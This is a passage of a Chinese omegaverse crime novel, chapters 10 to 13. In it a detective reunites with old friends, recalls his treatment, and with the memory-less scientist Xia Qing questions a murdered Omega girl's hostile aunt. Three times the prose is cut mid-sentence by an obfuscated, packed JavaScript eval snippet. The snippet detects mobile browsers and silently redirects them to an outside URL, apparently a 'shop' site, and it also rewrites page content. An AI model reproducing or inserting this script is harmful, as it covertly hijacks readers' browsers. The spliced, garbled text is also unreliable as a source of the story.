徐长嬴猛地睁大了眼睛,愣在原地,而齐枫也走了过来,轻声道:“夏青的长期记忆停留在他父亲刚去世的那一节点,林家觉得这是个好机会,林殊华的意思是不想让已经记不起来的夏青产生多余的误会,并且夏青对林家多一分归属感,林家也会多集中一分资源投注在他的身上。” 齐枫站在徐长嬴身边,艰难扯出一丝笑:“所以,赵洋他嘴上骂着夏青,但他从未对夏青提过过去的任何一件事,我们也一直和夏青假装陌生人。” 在这些年里,留在国内的三人早已走上了截然不同的道路,林殊华给出赵洋的承诺也是真的,林家将夏青视若本家亲生子,就算他还随着父姓,但将所有的资源都加注在他的身上,26岁接手兴安集团的核心产业,不仅已经是公认的兴安集团继承人,还是前途无量的青年科学家。 而赵洋和齐枫也在世道里摸爬滚打,走上了属于自己的普通人生之路,与身价百亿的兴安继承人再没有一丝联系。 安静的屋子里只有厨房滴答的水声传来,三人相对无言了很久,徐长嬴却突然笑了,他握住了赵洋的手贴在自己的脸上,“你真的挺有种的,赵大少爷。” 说罢,他直接站起身,揉了揉齐枫的头发就施施然进厨房起锅烧油了。 齐枫看了看徐长嬴,又扭头看了看赵洋,不知所措,索性踢了一脚赵洋的小腿:“你说话呀。” 赵洋依旧沉默,猛地站了起来,进厨房剁鱼去了。 不出三秒,齐枫就听见了俩人的互骂声。 就像八年前一样。 “当时在美国,医生和我说有两个选择,一个是当alpha,一个是当beta,只是当alpha需要去申请一个匹配度高的Omega结婚,我问当beta需要结婚吗?医生说不需要,所以我就说我当beta。” 徐长嬴喝酒是越喝越清醒,齐枫是越喝越困,而赵洋是完全不能喝,一杯就关公附体,脸红的可怕。 徐长嬴开玩笑般地说着当年治病时候的经历,而齐枫却趴在桌上眼泪狂流,口齿不清道:“结婚就结婚呗,你怎么能变成beta呢,你是不能当beta的……” 赵洋好像已经睡着了一声不吭,徐长嬴看着齐枫就觉得好笑,他一边回忆一边开口道:“过了一年我去复查,我问医生,觉得我哪里变了。” “医生说,我现在能好好说话不揍他了,我就说当beta明明比当alpha好,医生说我说的对。” 赵洋突然挣扎着抬起头:“你高中时候天天说这些话,我以为你是哄夏青的,谁能想到你是真的这么想的。” 徐长嬴支着下巴,眼神清明:“我从来不对你们说假话,以前不会,现在也不会。” 赵洋头越来越低,最后含混道:“你胡说,你今天一直就对夏青鬼话连篇。” 徐长嬴看着一桌狼藉,和已经睡过去的两个人,半晌,他对着空气说道,“对的,我以后也会一直对他鬼话连篇。” 10. 家访意外(上) “学长,”唐攸宁坐在病床边上,他双手托着下巴,眼神忧郁,“你说,alpha身份代表着什么呢?” 杭州医院的特护病房里,淡蓝色的帘子挂在床铺的四周,仪器如交响乐一样滴答响着,阳光透过第一层浅色窗帘照在床边,徐长嬴双手双脚都被束缚带捆着,整个人只能脸朝上看着天花板喘气。 徐长嬴听见自己嗓音沙哑说道:“你去买包利群,给我一根我就告诉你。” 唐攸宁道:“学长,利群是什么?万宝路可以吗?” 徐长嬴:“他妈的那你还不拿来!” 唐攸宁立马恭恭敬敬从裤兜里掏出来,抽出一根塞徐长嬴的嘴里并点上。 徐长嬴抽了一口,觉得七窍都通气了一般畅快无比,24小时紧绷的神经突然稍微松了点,他一边叼着烟一边侃侃而谈:“alpha不是一种体质,是一种心态。你觉得你是alpha那你有没有信息素都是alpha,你觉得你是omega那你有没有生殖腔都是omega。” 唐攸宁:“学长,烟灰、烟灰要掉嘴里了——可是光有心态没有用啊,alpha和Omega要谈恋爱,还要生小孩的。” 被绑在病床上浑身插满管子的alpha嘎嘎笑了起来,烟灰这时也真的掉到他的嘴里,他只能一边叼着烟一边别扭的呸呸吐烟灰道:“人又不是阿猫阿狗,你要和谁睡觉又不是被分配的,当然是你想和谁睡就睡!要我说omega怎么不能干alpha——不过你情我愿的事,关别人屁事!” 唐攸宁:“徐长嬴学长你说的好有道理!那beta也是这样的吗?” 徐长嬴:“放屁,都能干,想怎么干就怎么干!” 唐攸宁思考了一会儿似乎欲言又止,烟雾弥漫在二人之间,徐长嬴正艰难地换气争取多抽几口,但这时他余光突然瞥到了窗外的白大褂,于是转脸将烟头往唐攸宁身上用力一吐,闭上眼睛就开始假寐,唐攸宁立刻生气地在他耳边大叫:“学长,你怎么能这样对我——” 门被猛地拉开。 “唐先生,你今天的探望时间到了,我们要给徐先生换药,如果你下次再给患者抽烟,我们将会考虑您的探视权 ……” 声音越来越远了,和病房里透过眼皮都能照进来的强光一样,盘旋在无边的梦境里,徐长嬴不知道为什么自己会突然梦到当年刚接受治疗的记忆,渐渐地,他的耳边又传来另一个声音,恍惚间仿佛又被拉入下一个时空。 “你听到医生说的,我要去接受Omega的信息素治疗,你怎么还缠着我!”那又是他自己的声音。 北方夏日的烈日穿透双层玻璃照进了小小的出租屋,照亮了地上一片狼藉,站在屋子中间徐长嬴感到胸口仿佛是有一团火,疯狂燃烧着他的理智,他狠狠将茶几踹翻,大声骂道:“你没有自尊的吗夏青?我说我要去提交申请匹配Omega,你死缠着我你是贱得慌吗?” “我陪你去。”夏青站在背光处,梦里看不清他脸上的表情,只能听到他轻声又笃定道。 徐长嬴在客厅里如困兽踱步,他又将靠窗的画架一脚踹翻,怒火和悔恨像是热油一样烫的他痛不欲生,他冲上前将靠着墙摆放的几十幅画框狠狠踢翻,又跪在地上,开始一个个砸那些装裱好的油画和素描。 夏青好像走到了他的身后,“你先把药吃了。” 徐长嬴将手中的画框狠狠扔了出去,动作幅度太大一下就将夏青手里的药和水杯打翻,但下一秒他突然意识到自己刚刚砸坏的那幅画不对劲,他又连忙爬起身去找。 因为刚刚被砸在墙上,那画框已经变形,素描纸也破掉了,几乎看不出人形,满地都是碎纸也不知道哪些碎片是这幅画的。 站在原地抓着画框发愣的徐长嬴胸腔里泛起一阵心慌和难过,他连忙下意识无措地转过身去看夏青,却看见他正趴在地上从碎纸里捡药片。 暖色调的阳光里,徐长嬴整个人如坠冰窖,浑身克制不住地颤抖起来,几秒后他站在原地猛地将手里的画框重新砸在地上,听到巨响的夏青这时也单膝跪地抬起头看向他。 寂静无声的房间里,徐长嬴听到自己咬牙切齿道:“我是alpha,我需要omega的信息素,我要去申请和omega结婚你也要跟着我吗!我闻不到你的味道,夏青,别太贱了。” “放过我,我后悔了,夏青,我后悔了你听不懂吗!” 徐长嬴猛地睁开眼睛,手表嗡嗡响个不停,所有的指标已经快要突破临界值,徐长嬴感觉自己的心脏还在狂跳,胸腔大幅度起伏着,右半边脸也因为情绪波动而发麻,仿佛他上一秒真的还站在出租房里怒骂,明明满腔都是流泪的错觉,但他的双眼干的发疼——那是体温过高的症状。 整个客厅十分安静,赵洋和齐枫两个人各睡他一边,齐枫抱着熊猫毯子枕在熊猫枕头上睡得脸色通红,而赵洋则裹成一个蚕蛹,眉头皱着,嘴里还咕哝着什么。 徐长嬴捏了捏睛明穴,开始翻自己昨天的外套,翻出了薄荷糖铁盒,倒了一把白色糖丸一股脑咽了下去。 五分钟后,他的体温和心率降了下去,徐长嬴甩了甩头,他将空调温度调高了些,又去卫生间快速洗漱了一下,在赵洋衣柜里找了一身休闲的运动服穿上,看了看时间,就出了门。 上午七点整,徐长嬴推开重案组办公室的门,看见严建柏开着窗坐在一旁静静地抽烟,靠里侧的办公桌上趴着一个人睡得正香,另一个人还在翻看面前一大堆纸质卷宗,睡着的正是谈松,而看卷宗的就是宋瑜立,他们和刑侦二队的人分工看了一晚上的器官贩卖犯罪记录。 严建柏有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049256|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些惊讶:“徐警官,您怎么来这么早?不是说了今天上午放半天假吗?” 徐长嬴笑道:“生物钟没调整过来,我就想过来看看。” 严建柏掐灭烟头朝着他走过来:“器官贩卖卷宗还在整理,已经有一些可疑的线索,监控那边夏教授昨晚联系了兴安的技术援助,进度提了一倍,这两边的结果大概都要等到下午出。” 徐长嬴点点头:“那就好,严队我今天上午想去看一下受害者家属,劳烦您将地点发我一下。” 严建柏道:“徐警官,那个家属态度一直不太好,我去喊一下邵巧巧跟您去吧,她那边工作也快结束了” 徐长嬴拒绝了:“不用,我就是去实地看一看。” 严建柏很快就将本地受害者家属的信息发了过来,受害者赵兰月是唯一的本国国籍死者,她的身世比较坎坷,3岁时候母亲就离家出走,14岁时父亲因为高利贷纠纷身亡,后来就生活在唯一姑妈赵秀贞的家中,但是16岁就离家出走了。 而徐长嬴要去的就是赵秀贞家,赵秀贞此前提供的消息是赵兰月在当地打工,但是警方排查了整个城市的电子厂纺织厂,以及夜总会KTV这类红灯场所,都一无所获。后来谈松等人在走访其他远方亲戚时,听说赵兰月与姑妈一家的关系很糟糕,曾经大喊过要去香港找她的亲生母亲。但是从海关记录来看,赵兰月并没有出过境,当然,如果是跟着蛇头非法出境那就更麻烦了。 性别暴力案件中受害者的原生家庭环境千奇百怪,但都不幸福,徐长嬴一直以来都习惯将受害者和嫌疑人的家庭环境掌握清楚,他看了看手表,站在马路边感觉人还是有点懵,他发了会儿呆,然后才伸手拦下一辆出租车。 赵秀贞家与市公安局离得不算远,在十分钟车程的海鲜市场边上的居民区,徐长嬴跟着导航东走西窜,来到一个老式筒子楼前,一楼的住户听到他问赵秀贞就了然他不是警察就是记者,对他说赵秀贞送孙子上幼儿园了,要等半小时再过来。 无法,徐长嬴只能走到巷子口,在成群结队的小学生的簇拥中,找了一个看上去比较正宗的早餐摊坐了下来。 上次吃国内的路边早饭好像是上辈子的事情了,徐长嬴要了一份肠粉和叉烧包就坐在小马扎上等了起来。 彼时正值小学生上学时候,一堆堆吵吵嚷嚷的小孩和家长蜂拥而出,就在这时一辆与杂乱巷子完全不匹配的进口车不知道为什么开了进来,但很快开车的人发现了路况不合适,又倒车停在了巷子外,接着一个穿着白衬衫休闲西裤的青年单肩背着包从驾驶座下了车。 因为徐长嬴坐下的早餐摊就摆在巷子口,所以那人一下车就与他对上了视线。 夏青走过来的时候,徐长嬴有一瞬间晃神以为自己还在做梦,不然怎么还会看见大学里的夏青。 11. 家访意外(下) 夏青站在早餐摊的折叠桌边上,鞋子还踩到了被随意扔在地上的豆浆袋子,卓然的气质与这个杂乱的环境格格不入,他对着徐长嬴开口道:“徐警官,早。” “早,”徐长嬴反应过来时,他已经将筷子放下,和八年前一样习惯性的抽了两张纸擦了擦边上的凳子。 出乎他意料的是,夏青真的坐了下来,肩膀上还背着他的包,俊朗的脸上依旧没有什么表情,也没有主动开口说话,只是盯着面前的一屉包子看了几秒。 徐长嬴似乎是心里一瞬间涌进了太多的情感,自己没反应过来就笑了一声。 夏青闻声看向他,徐长嬴就又轻笑着问他:“夏教授,您吃过了吗?” “没有。” “好的,”徐长嬴用广东话对着早餐摊老板喊了声:“姐,加一份云吞和虾饺!” 话音刚落,徐长嬴才后悔,他下意识就点了夏青常吃的,但夏青现应该和自己没说过几句话,不知道是否会有什么想法,他又看向夏青,好在夏青面上没有表现出奇怪和被冒犯的神情,他只是静静地等着。 徐长嬴又看见他还背着包,像是赶时间吃完去上学的学生,便笑着道:“夏教授您背着包吃饭吗?” 夏青抬起头:“这边没有地方放。” “你不常来这种地方所以不熟悉,来,给我吧,”说着徐长嬴就站起身接过夏青肩上的包,用餐巾纸垫了一下,放在一边的凳子上。 早餐摊的餐出的极快,徐长嬴刚把包放好,老板娘就把云吞和虾饺搁夏青面前了,大姐起身时瞥见了夏青的脸,立马说道:“哎哟长得这么靓啊帅哥。” 徐长嬴心底蔓延出一丝久违的快乐,夏青还是和以前一样假装不在意别人说自己的长相,他低头将一次性筷子劈开,因为徐长嬴忍不住多看了他几眼,他就又坦然地抬起头问道:“怎么了?” 徐长嬴总不能说好久没见就想看看你,便有些不自然地随便找了个借口:“刚刚离得有些远,我第一眼以为是不认识的大学生,第二眼才看见原来是夏教授。” “夏青。” “嗯?”徐长嬴疑惑道,“什么?” 夏青夹起虾饺,平静地看着徐长嬴,说道:“我叫夏青。” 徐长嬴立刻一副恍然大悟的模样:“幸会幸会,夏青你好,我叫徐长嬴。” 夏青低头吃了起来。 徐长嬴望着夏青的头发,心里想着赵洋说的现在的夏青不近人情好像不太对,现在的夏青比起当年刚认识的夏青要平易近人多了,当年他费了好大的功夫才和他说上话,难道说记忆对人的性格真的有影响吗? 徐长嬴也拿起了筷子,他换了称呼开口道:“夏青你也是来调查受害者家属的吗?” 夏青嗯了一声,他吃得也不算慢,但是却很有教养,特别是配上他那张脸,两三分钟的功夫就有几个女生在边上桌子坐了下来了,夏青抬头道:“严队说你比我早二十分钟就到了。” 徐长嬴道:“那可真巧,我也是一时兴起,那家属老太太去送孙子上幼儿园了,我们吃个饭回去刚刚好。” 夏青却突然开口:“你为什么没有和赵洋一起过来?” 徐长嬴没反应过来:“为什么和他一起过来?” 夏青见他疑惑,像是解释试卷答案一般淡淡道:“你身上的衣服不是你自己的。” 徐长嬴这才想起来,他现在是beta闻不到信息素,但alpha的衣服会沾上自己的信息素,更何况夏青现在是感知力最强的极优性alpha,于是他解释道:“昨晚我和赵洋齐枫一起喝酒,我生物钟比较准,那两人还在睡,所以我就随便找了件衣服穿上过来看看。” 话刚说完,徐长嬴察觉到不对劲,他又问道:“夏青你与赵洋比较熟悉吗?” 昨晚赵洋二人的意思是他们与夏青关系非常冷淡,彻底是形同陌路,但是夏青却能记住赵洋的信息素味道,那就不是所谓的点头之交了。 此时夏青微微颔首,“四年前就见过赵警官,当时一起共事过,所以还算熟悉。” 四年前,应该指的是西山连环杀人案,那是夏青进入大众视野的第一次案件,而也是赵洋人生的一个小转折点,赵洋正是在这个案件中负伤立功,从实习片警一举进入重案组。 可赵洋没必要骗自己,徐长嬴暗自思忖道,难道夏青并非赵洋他们认为的那样对他们没什么印象吗? 这时徐长嬴又听见夏青问道:“徐长嬴你是外籍吗?” 徐长嬴回过神,只见夏青一双琥珀眼望着自己,他摇摇头:“不是,我二十来岁时机缘巧合出的国,后来遇到AGB当时的北美负责人,参加了AGB的培训班才进去工作的,AGB不限国籍。” 这个回答算得上避重就轻,徐长嬴正待放下心,却听见夏青直接问道:“那你为什么不继续画画了?” 一瞬间徐长嬴的心脏似乎停了,他愣了足足两秒钟,才磕磕巴巴有些惶恐问道:“你怎么知道我以前是画画的?” 问这话的时候,徐长嬴的眼前闪过的是满地碎裂的画框和撕碎的画布纸张,以及那跪在一片狼藉里抬起头却看不清的脸。 “你的右手,变形的太严重了,不是一两年就能磨损成这样的,”夏青将筷子放下,目光浅浅落在徐长嬴的手上。 徐长嬴捏着筷子的手微微一颤,他低头看了看,隐隐松了一口气,“这个啊,夏青你观察力可真强,比我专业多了。” 随后,徐长嬴才想起夏青的问题,他笑着摇摇头:“我没什么天赋,画不出什么头绪,而且我当时欠了不少钱,也没有信心去读艺术学校了,因为有一次偶尔在医疗中心了帮助了一个性侵案件的孩子,我画的凶手画像帮助破了案,才发现我可能更适合干刑侦,所以转了行,这样看美术也不算白学。” “嗯,”28岁的夏青比15岁的夏青更加句句有回应,他低头继续斯文着吃着早饭,徐长嬴看着他的侧脸,忍不住问道:“吃的习惯吗?” “习惯,有时候会回家里,家里人会做。”夏青回道。 徐长嬴的心一颤,他假装若无其事地接话道:“你不常回家吗?” 夏青道:“我在外面自己住,但是母亲和祖父时常会叫我回去吃饭。” 徐长嬴的心像是被针扎一样刺痛着,他继续笑道:“原来这样,你们家人应该很多吧,对你都很好吗?” 他其实没有反应过来自己问的话已经逾越了边界,但是夏青面上并无异色,只是继续有问必答:“家人比较多,祖父和父母兄弟经常聚在一起,比较热闹。” 兴安林氏,林光霁有三个女儿各自成家,加上旁支亲戚,也是浩浩荡荡的一家人,徐长嬴望着夏青不动声色的放下了心。 两人吃饭速度都很快,吃好后徐长嬴扫了二维码付了钱,两人慢慢沿着巷子往前走。 夏青的个子已经高了他些许,整个人的体格也更结实,徐长嬴和他走在一起,熟悉的感知记忆几乎被陌生感一点点的蚕食干净。徐长嬴忍了忍还是没忍住,他扭过头问夏青:“夏青你不是研究生物基因的吗?为什么会对刑侦感兴趣?是LSA要求的吗?” 夏青此人在AGB内部也相当有名,而且随便打开社交软件搜索他的姓名,就会跳出无数他公共场合影像拼贴起来的讨论视频,兜兜转转都绕不过豪门极优性alpha和天才生物学家这两个标签。但在4年前的西山杀人案后,夏青开始在与生物科研毫无关系的刑侦领域持续开拓,不仅自己又修了犯罪心理学位,他的实验室也一直帮助国内外的刑侦组织进行化合物分析。 夏青神色坦然,道:“与你一样,发现自己的所学在这方面有可做贡献的能力,便就做了下去。” 徐长嬴听到他夸自己心里总觉得有些怪怪的,便不好意思道:“我其实没有你那么高尚,我当时也是生活所迫,AGB的高补贴和高薪水是我选择这个工作的最重要原因。” 夏青突然停下了脚步,他偏过头看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049257|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐长嬴,开口道:“我不认为为生活所迫有何不光彩。” 徐长嬴愣了一瞬,突然笑出了声,他双手插着兜,望着夏青真诚道:“夏青你智商高就算了,没人说你的情商也很高吗?” 夏青:“从未。” 徐长嬴哈哈大笑:“那是他们不好意思当你面说啦。” 已经快八点了,幽静的巷子里还时不时有行色匆匆的上班族,因为巷子宽度有限,有时候徐长嬴都要跳道夏青身后,等对方走过,又跳回来两人并肩走。 徐长嬴不知不觉已经和有问必答的28岁夏青一来一往聊了起来:“我听齐枫说夏青你现在很忙,又要在兴安里工作,又要教书,还要做实验,昨天你不是刚从英国赶回来吗?参与这个案件你时间不会很紧吗?” 夏青:“刚刚结束了一个项目,不是很忙,学校也快放假了。” 徐长嬴:“不愧是科学家,同样的年纪你干了好多事情。” 夏青:“每个人所处环境不同而已,你在AGB里的工作应当也不轻松。” 徐长嬴歪了歪头:“其实还好,干完一件就会有下一件任务发来,就像打游戏一样,不断刷新地图和任务栏,前天我还在布基纳法索呢。” 夏青:“西非?在那里工作?” 徐长嬴大声赞叹道:“哇夏教授您可真厉害,我昨天和赵洋齐枫说,他们听都没听过——那有个性侵儿童的案子,我在那里呆了一个月,你没发现我很黑吗?” 夏青摇摇头:“你不黑。” 徐长嬴内心像是有一盏即将满溢出来的热水,“你再说下去,我感动得要流眼泪了。” 夏青:…… 夏青:“你经常回国吗?” 徐长嬴:“不呢,三年前上次回来还是去的香港,我八年没回来了。” 夏青略微沉默了一下,道:“你在国内没有家人了吗?” 徐长嬴摇摇头:“没了呢,所以我就很适合打工,我怀疑我这个beta能在AGB干下去也是因为干活多。” 夏青沉默没有接话,徐长嬴摸了摸鼻子,转头问他:“为什么你会觉得我经常回来?” 夏青:“我见你方才请我吃早饭的时候很熟悉。” 徐长嬴乐呵呵道:“那是我生存技能啦,我到任何一个国家和地区都能很快找到饭吃。” 夏青抬起头:“你此次在国内呆多久?” 徐长嬴认真算了算,道:“看案件进程,案件查了七七八八我们就会走,我估计这次要呆三个月左右。” 夏青依旧看不出情绪,只是说:“好。” 话音刚落,两人就在一个老式围合的大门前站住了,围合是由两栋老旧的居民楼组成的,只有四层,住了大概有七八户人间。 徐长嬴已经来过一次,他又上去敲看敲铁门,没人回应,他就伸手一推大步迈了进去。 一个五十多岁的大妈正端着盆洗菜水泼塑料箱里的大葱,抬头瞬间眼中满是警惕,用广普大声道:“你们是什么人?” 此人正是他们要找的赵秀贞,她的熟练反应直接就显露了她这段时间没少被找上门谈话,徐长嬴没有废话,直接掏出证件,“赵阿姨我们是市公安局的,简单来找您聊一聊,很快的大概20分钟。” 赵秀贞果不其然发了火,她摆着手,撵着二人:“走走走,你们警察不如把我关进派出所好啦,一天来一回谁受得了,快走,我马上还要去买菜!” 夏青如一棵白桦树站立不动,冷冷道:“案件有了新的突破,我们需要询问受害者家属一些新的信息。” 那大妈正要继续拿着盆推搡人的时候看见夏青耳后的黑色芯片,这时又仔细瞧见了这个年轻人的长相,骂人的话突然就卡在了嗓子里。 “那你们快点,我要做一家子的饭的!” 说完,赵秀贞转身上了楼,徐长嬴与夏青对视一眼,他眨了眨眼睛,没有察觉到对方神情一顿,而是大步一迈,跟着上了台阶。 12. 巨大巧合(上) 老式楼房的楼道很狭窄,还堆满了杂物,若是有消防检查,连第一关都过不去。赵秀贞一家住在二楼,她抱着盆拉开防盗门只顾自己快步迈了进去,跟在后面的徐长嬴差点被防蚊帘扇个大嘴巴。 徐长嬴家访经验丰富,而且自有一套方法——他人都站在客厅里了还在大声嚷嚷:“阿姨我们不用换鞋吗?” “我又没有多余拖鞋给你们!你们这些警察进进出出,我拖地都是白做工……”赵秀贞絮絮叨叨地抱怨着,一回头却见徐长嬴和夏青已经站在客厅正中央了,她没忍住翻了一个白眼。 赵秀贞家的面积很小,大概只有七十平,而现在这个两室一厅还住了一家六口。 徐长嬴在客厅里走了一圈,拉开赵秀贞指给他们的塑料圆凳就递给夏青,夏青只是摇摇头,没有坐下去。 徐长嬴叉着腰,若有所思道:“阿姨你们家是六口人吧?我看只有两个房间,赵兰月当时是住哪一个房间呀?” 赵秀贞在厨房里给冻肉放水解冻,她撩起帘子走了出来,语气依旧不怎么好听:“赵兰月在我家里那都是八辈子之前的事了,那时候人没有现在多,只有我和我先生儿子女儿四个人。” “哦”,徐长嬴疑惑道:“那您家里现在还能住的下吗?” 赵秀贞指着朝南的主卧:“这是我儿子孙子一家睡的地方。” 她又指着小一点的次卧:“这是我和我先生睡的房间,我女儿现在在新西兰念书不在家。” “哟您女儿这么厉害呀!”徐长嬴浮夸地感叹道。 赵秀贞:“就是念书比较省心而已,现在在申英国的硕士呢。” 虽然听上去是谦虚的客套话,但是语气软多了,透露出隐藏不住的得意。 夏青站在橱柜前仔细看着上面的照片,而徐长嬴一边拉家常似地吹捧着赵秀贞,说着“您可真不简单”“一双儿女都成家立业了”之类的话,一边将整个房子都踩了一遍。 突然,徐长嬴站住不动了:“阿姨您还没和我说您侄女当年是住在哪儿的?” 赵秀贞脸上的笑冷了三分,她站在过道里双手抱肩:“当时孩子多,我和我先生还是住次卧,主卧我们用帘子隔了一下,我女儿挤在里面,儿子挤在门口。” 徐长嬴点点头,关注点依旧不变:“孩子多确实不容易,我理解,那赵兰月呢?” 赵秀贞无可奈何,她走到客厅边上的小阳台,“我在这边用帘子和板子隔了一块,客厅的空调就在这边,我女儿有时候看完电视还吵着要和赵兰月换着睡。” 说是小阳台,那里不过是靠着窗户的放晾衣架的小空间,目测没有三平米,此时已经堆满杂物。 小小的三平米不知道承载了青春期女生多少破碎的自尊。 徐音仰起头,看到阳台晾衣服的架子上还有两个旧夹子,那应该就是当年所谓挂帘子的地方,而阳台正对客厅和餐厅,可以说所有人都能对这个小空间一览无余。 夏青也站在一旁,面上和平常一样没什么表情,但是他这幅样子在外人看来他就是在冷着脸,赵秀贞瞥了他一眼,话突然就密集了起来:“说起来赵兰月这个小孩我也为她操了不少心,她当时高中不应该上我们这个区的,还是我和她姑父跑了一个夏天跑的手续……” 徐长嬴摸着下巴,直接打断了她:“这个地方不是不能睡,但赵兰月不是Omega吗?阿姨,赵兰月当时发情期也在这里睡吗?” 赵秀贞脸上的表情僵住了,喋喋不休的话语突然卡了壳,她脸上的微表情徐长嬴再熟悉不过,那是一类因为缺乏性知识而患有强烈的性羞耻的人,在提到和“性”相关的任何词汇时脸上流露出的憎恶神情,你说不清他们到底在憎恶什么,是憎恶说话的人,还是词语本身。 赵秀贞面部肌肉微微抽动着:“Omega,对,赵兰月那个小女、小女生是Omega,当然了你们都知道Omega就是特别麻烦,什么抑制剂呀什么发情期的,我们beta一家遇上了说是尴尬呢还是什么的,她肯定不能在这睡呀——她那个时候就会和我儿子换一下,我儿子在阳台睡。” “但是你们也知道,”赵秀贞像是语言电路突然接通了,说话又清晰起来:“赵兰月这个小孩当时特别叛逆,和学校还是社会里不三不四的人来玩,真是伤透了我们的心,所以发情期她很多时候都在外面……” 这次是夏青打断了她,他的语气冷若寒霜,神情像是不容一丝质疑:“在发情期内看管未成年Omega,为其提供封闭安全场所、严禁其外出是监护人的法定义务,转交监护权的时候Omega管理部门应该派专人来检查过环境并对你们明确要求过。” 赵秀贞像是被夏青的话语烫到了一般,她愤怒地抬起头,却在看到对方肃然的面孔的一瞬间失去了全部的气势,她的羞耻与怒火最后以凄凉诉苦的形式倾泻出来:“我能怎么办?我虽然是她爸的唯一亲人,但是她亲妈都把赵兰月抛弃了,我的家这么小,我还给她一口饭吃一个地方睡,我还要供她念书,你这样的上流社会的人怎么会理解我们的不容易,我自己也有孩子,赵兰月那个小贱女没少招惹社会混混,我的女儿虽然是个beta,但是一直又乖又努力念书……” 徐长嬴掏着小本子,一边听着一边记,他肩膀轻轻撞了夏青的肩膀,不动声色地挡在他的面前,夏青低头看了看他的脖子和侧脸,也任由他护在身前。赵秀贞说着说着竟然还擦起眼来,看着这个普通不能再普通的拥挤小房子里的头发花白,穿着廉价的女人,一般人很难再说出什么义务责任的话语来。 可徐长嬴很明显不是一般人,他先是仔细记下来了赵秀贞的所有抱怨,然后抬头好像没看见她眼泪一样,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049258|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无其事问道:“了解了,那您儿子和女儿当年与赵兰月的关系如何?” 赵秀贞的啜泣声断了一秒,她抬起脸对上徐长嬴的目光,她攥紧了手绢,像是努力平复了一下心情,语气和缓了些:“他们小孩子关系肯定要亲一些,赵兰月和我女儿年纪都差不多,而且都在一个学校上学。” 徐长嬴记下来,头也不抬:“您儿子呢,他年纪要大两个小姑娘四五岁吧,当时已经成年了。” 赵秀贞面上愈发冷静起来,她换了一口气,镇定道:“男孩子总归是和女孩有些距离的,当时我儿子在跟着亲戚学汽修,每天都很累,他们在家都没什么谈心的机会。” 徐长嬴接着道:“好的,我知道了,特别感谢赵阿姨,我们最后再问一个问题——您对赵兰月当年在外的圈子,比如接触到的社会人士有印象吗?您能提供一下联系方式或者姓名吗?” 赵秀贞嘟嘟囔囔起来:“我怎么知道,我一个人要烧全家的饭,还要在家粘纸盒子赚生活费,赵兰月愿意回家我就给她一口饭吃,不愿意我能有什么办法……” 夏青又开口道:“赵兰月有在家里提到什么人的名字吗?” 赵秀贞这时就停下来想了想,徐长嬴想果然还是夏青的话比较有用,这个可怕又可恶的abo社会。 “我记不太清了,是我女儿以前和我说过的,”赵秀贞揪着手绢道,“说是赵兰月在学校里被其他人说与一个叫阿风的男人混在一起,那个男人好像与学校里的什么富二代认识。” 徐长嬴速记下来,整个本子上都是龙飞凤舞的字迹,除了他再没一个人看得懂,他确认道:“没有了吗?” 赵秀贞拍拍手:“一个没有了!” 徐长嬴又歪过头:“那您能和您家闺女打个电话问问那个富二代是谁吗?” 一提到自己的女儿,赵秀贞的态度立刻强硬了万分,她挥着手:“去去去,我女儿当时就不管学校里的这些乱七八糟的事,她也是听同学说的,刚刚就说了最后一个问题,还二十分钟呢,我马上还做不做饭了!快走!明天我要是还见到你们警察,我就去市政府投诉!” 防蚊帘又一次在徐长嬴面前被甩上,赵秀贞哐当一声关上了防盗门,徐长嬴手里的钢笔差点被夹住,他连忙护好,扭过头看了看夏青,嘻嘻笑了笑。 夏青只是看着他,问道:“结束了吗?” 徐长嬴将小本子随意揣回裤兜,洒脱道:“结束了结束了,问了不少东西呢,你还有什么没问的吗?” 夏青:“没有了。” 于是两人又重新穿过狭窄的楼梯,拉开铁门的时候徐长嬴敏锐地回过头,看见二楼的防盗门将将合上。 走在巷子里,徐长嬴抛着手中的薄荷糖盒,突然回过头看向青年alpha: “夏青,你觉得有哪里不对劲吗?” 13. 巨大巧合(下) 夏青正静静看着徐长嬴的眼睛:“赵秀贞对于赵兰月的态度过于恶劣。” 徐长嬴点点头,“确实,不过其实也能理解,毕竟第二性别放在整个社会上也是十分之二的少数群体,对于赵秀贞这样的普通beta家庭,更是代代beta生beta,面对Omega侄女肯定很难放平心态,只是现在还不清楚她的恶劣程度是怎样。” 自从人类社会出现第二性别的那一天开始,社会严苛的等级划分就已经牢不可破了,beta们一边憎恶不平等的性别秩序,一边幻想自己和期待后代能成为那百分之二十中的一员;而alpha和Omega也是一边努力宣扬自己的成功与身份无关,一边彼此通婚来巩固自己和后代的性别阶级。 